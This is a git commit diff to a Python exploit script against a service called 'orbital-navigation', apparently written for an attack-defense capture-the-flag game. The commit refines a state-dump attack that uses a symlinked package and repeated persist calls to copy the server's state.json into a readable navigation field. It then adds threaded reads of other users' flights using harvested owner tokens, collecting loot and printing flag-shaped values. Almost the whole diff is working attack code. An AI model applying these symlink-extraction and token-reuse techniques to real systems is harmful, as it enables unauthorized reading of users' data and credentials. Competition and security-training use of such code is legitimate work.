orbital-navigation: harden and speed up host-only exploit

This commit is contained in:
shira committed 2026-10-25 12:50:35 +03:00
1 parent 9c06a36a4b
commit 74baf0bcc6
1 file changed
+101 -33
+101 -33
View File
@@ -11,6 +11,7 @@ import sys
import tarfile import tarfile
import tempfile import tempfile
import time import time
from concurrent.futures import FIRST_COMPLETED, ThreadPoolExecutor, wait
from pathlib import Path from pathlib import Path
from urllib.error import HTTPError, URLError from urllib.error import HTTPError, URLError
from urllib.parse import quote, unquote, urlsplit, urlunsplit from urllib.parse import quote, unquote, urlsplit, urlunsplit
@@ -36,6 +37,7 @@ CONTEXT_PATTERNS = {
"package_id": re.compile(r"package-[0-9a-f]{32}\Z"), "package_id": re.compile(r"package-[0-9a-f]{32}\Z"),
} }
TOKEN_VALUE_PATTERN = re.compile(r"token-[0-9a-f]{32}", re.IGNORECASE) TOKEN_VALUE_PATTERN = re.compile(r"token-[0-9a-f]{32}", re.IGNORECASE)
FLAG_PATTERN = re.compile(r"(?<![A-Za-z0-9])[A-Z0-9]{31}=(?![A-Za-z0-9])")
STATE_DUMP_MARKER = "orbital-state-dump" STATE_DUMP_MARKER = "orbital-state-dump"
@@ -313,15 +315,28 @@ def dump_state(base: str, context) -> str:
context["token"], context["token"],
state_dump_tar(context["flight_id"]), state_dump_tar(context["flight_id"]),
) )
rpc( restore_needed = True
base,
"generate_report",
token=context["token"],
package_id=context["package_id"],
attachment="report.txt",
)
try: try:
try:
rpc(
base,
"generate_report",
token=context["token"],
package_id=context["package_id"],
attachment="report.txt",
)
except ExploitError as exc:
# These checks reject the package before extracting the symlink.
if "package not approved" in str(exc) or "unsafe package" in str(exc):
restore_needed = False
raise
# The first persist copies state into our navigation file. The second
# immediately replaces state.json with a regular file. Read the copy
# only after both writes, keeping the symlink window as short as possible.
trigger_persist(base, context) trigger_persist(base, context)
trigger_persist(base, context)
restore_needed = False
result = rpc( result = rpc(
base, base,
"read_navigation", "read_navigation",
@@ -334,10 +349,21 @@ def dump_state(base: str, context) -> str:
raise ExploitError("state dump: missing navigation") raise ExploitError("state dump: missing navigation")
return navigation return navigation
finally: finally:
try: if restore_needed:
trigger_persist(base, context) # An ambiguous timeout may occur before the first write is handled.
except (ExploitError, HTTPError, URLError, TimeoutError, ValueError, OSError) as exc: # In that case one successful write copies state through the link;
print(f"state persistence cleanup: {exc}", file=sys.stderr) # the next successful write is needed to replace the link itself.
confirmed = 0
for attempt in range(5):
try:
trigger_persist(base, context)
confirmed += 1
if confirmed == 2:
break
except (ExploitError, HTTPError, URLError, TimeoutError, ValueError, OSError) as exc:
print(f"state persistence cleanup attempt {attempt + 1}: {exc}", file=sys.stderr)
if confirmed < 2:
raise ExploitError("state persistence cleanup not confirmed")
def state_payloads(state) -> list[str]: def state_payloads(state) -> list[str]:
@@ -376,6 +402,12 @@ def state_payloads(state) -> list[str]:
return values return values
def read_navigation_candidate(base: str, token: str, flight_id: str) -> str | None:
result = rpc(base, "read_navigation", token=token, flight_id=flight_id)
navigation = result.get("navigation") if isinstance(result, dict) else None
return navigation if isinstance(navigation, str) else None
def exploit_host_only(base: str, deadline: float) -> list[str]: def exploit_host_only(base: str, deadline: float) -> list[str]:
context = load_context(base) context = load_context(base)
if context is None: if context is None:
@@ -409,34 +441,69 @@ def exploit_host_only(base: str, deadline: float) -> list[str]:
for token, owner in users.items(): for token, owner in users.items():
if isinstance(token, str) and isinstance(owner, str): if isinstance(token, str) and isinstance(owner, str):
owner_tokens.setdefault(owner, token) owner_tokens.setdefault(owner, token)
checked = 0 known_flights = set(context.get("known_flights", []))
read_flights = set(context.get("read_flights", []))
candidates: list[tuple[int, str, str]] = []
if isinstance(flights, dict): if isinstance(flights, dict):
for flight_id, flight in flights.items(): for flight_id, flight in flights.items():
if checked >= MAX_STATE_FLIGHTS or time.monotonic() >= deadline:
break
if not isinstance(flight_id, str) or not isinstance(flight, dict): if not isinstance(flight_id, str) or not isinstance(flight, dict):
continue continue
if flight_id == context["flight_id"] or flight.get("geometry") == STATE_DUMP_MARKER: if flight_id == context["flight_id"] or flight.get("geometry") == STATE_DUMP_MARKER:
continue continue
if flight_id in read_flights:
continue
token = owner_tokens.get(flight.get("owner")) token = owner_tokens.get(flight.get("owner"))
if not isinstance(token, str): if not isinstance(token, str):
continue continue
checked += 1 candidates.append((0 if flight_id not in known_flights else 1, flight_id, token))
try: candidates.sort(key=lambda item: item[0])
result = rpc(base, "read_navigation", token=token, flight_id=flight_id) checked = 0
navigation = result.get("navigation") if isinstance(result, dict) else None pending = {}
if isinstance(navigation, str): candidate_iter = iter(candidates[:MAX_STATE_FLIGHTS])
try: with ThreadPoolExecutor(max_workers=4) as pool:
nested_state = json.loads(navigation) while time.monotonic() < deadline:
except ValueError: while len(pending) < 4 and time.monotonic() < deadline:
nested_state = None try:
state_keys = {"users", "ships", "messages", "flights", "packages"} _, flight_id, token = next(candidate_iter)
if isinstance(nested_state, dict) and state_keys.issubset(nested_state): except StopIteration:
loot.extend(state_payloads(nested_state)) break
else: pending[pool.submit(read_navigation_candidate, base, token, flight_id)] = flight_id
loot.append(navigation) checked += 1
except (ExploitError, HTTPError, URLError, TimeoutError, ValueError, OSError): if not pending:
continue break
done, _ = wait(
pending, timeout=max(0.0, deadline - time.monotonic()),
return_when=FIRST_COMPLETED,
)
if not done:
break
for future in done:
flight_id = pending.pop(future)
try:
navigation = future.result()
except (ExploitError, HTTPError, URLError, TimeoutError, ValueError, OSError):
continue
if navigation is None:
continue
read_flights.add(flight_id)
try:
nested_state = json.loads(navigation)
except ValueError:
nested_state = None
state_keys = {"users", "ships", "messages", "flights", "packages"}
if isinstance(nested_state, dict) and state_keys.issubset(nested_state):
loot.extend(state_payloads(nested_state))
else:
loot.append(navigation)
for future in pending:
future.cancel()
if isinstance(flights, dict):
context["known_flights"] = list(flights)
context["read_flights"] = list(read_flights.intersection(flights))
try:
save_context(base, context)
except OSError as exc:
print(f"state cache unavailable: {exc}", file=sys.stderr)
print(f"state dump navigation reads: {checked}", file=sys.stderr) print(f"state dump navigation reads: {checked}", file=sys.stderr)
sanitized = (TOKEN_VALUE_PATTERN.sub("", item) for item in loot if item) sanitized = (TOKEN_VALUE_PATTERN.sub("", item) for item in loot if item)
return list(dict.fromkeys(item for item in sanitized if item)) return list(dict.fromkeys(item for item in sanitized if item))
@@ -597,9 +664,10 @@ def main() -> int:
except (ExploitError, HTTPError, URLError, TimeoutError, ValueError, OSError) as exc: except (ExploitError, HTTPError, URLError, TimeoutError, ValueError, OSError) as exc:
print(f"request failed: {exc}", file=sys.stderr) print(f"request failed: {exc}", file=sys.stderr)
return 1 return 1
for item in loot: flags = sorted({match for item in loot for match in FLAG_PATTERN.findall(item)})
print(item, flush=True) for flag in flags:
print(f"collected values: {len(loot)}", file=sys.stderr) print(flag, flush=True)
print(f"collected flags: {len(flags)}", file=sys.stderr)
return 0 return 0